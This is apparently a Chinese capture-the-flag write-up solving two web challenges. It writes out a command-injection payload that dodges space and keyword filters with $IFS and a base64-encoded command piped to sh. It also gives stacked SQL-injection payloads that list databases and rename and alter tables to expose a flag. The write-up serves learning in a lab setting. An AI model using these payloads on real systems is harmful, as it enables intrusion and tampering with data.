[GXYCTF2019]Ping Ping Ping1
打开后,题目给了提示/?ip= ,我们随意输入一个ip进行检查,存在回显。
接着我们查看文件目录,得到两个php文件,其中一个为flag文件。
我们尝试打开flag文件,用cat falg.php打开文件,显示fxck your space!通过搜索得知是该题过滤了空格,我们尝试利用其他符号来代替空格。
输入cat,flag.php,题目提示我们fxck your flag!可知flag也被过滤了。
想到前面还有一个php文件,我们来打开看看index.php文件,打开后发现本题过滤了绝大多数符号,以及flag,flag字眼都过滤了,bash也没了,不过sh没过滤。
通过查看其他人的wp,得知可以将 cat flag.php转变为base64编码的字符,在进行flag查看。
Y2F0IGZsYWcucGhw是cat flag.php的base64-encode
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
输入后发现没有任何显示,我们来看看源代码,得到flag
[强网杯 2019]随便注1
由题目可知,本题考查的是sql注入
首先尝试出本题的字段数,输入1,2都存在回显,输入3时,无回显,可知字段数为2
输入1'查看是否存在sql注入点,输入后报错,说明存在注入点。
1';show databases;#爆出数据库
1';show tables;#爆出表名,有两个表,我们都打开看看。
我们在1919810931114514这个表中发现了flag
利用1';select from `1919810931114514`查看flag,无法显示,发现select被过滤了。
当表名为数字时,要用反引号``包起来查询
看了一下其他大佬的解法1,通过 rename 先把 words 表改名为其他的表名。
1.通过 rename 先把 words 表改名为其他的表名,如words1
2.把 1919810931114514 表的名字改为 words
3.给新 words 表添加新的列名 id
4.将 flag 改名为 data
5.输入1’ or 1=1#得到flag
1'; rename table words to words1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
通过查看两个表的内容可以看到words表里有两个属性,即两列:id 和data,而1919810931114514表里只有一个属性,说明输入框可能查询的就是words表,后台sql语句可能为
select id,data from words where id=
所以我们改名后就可以得到flag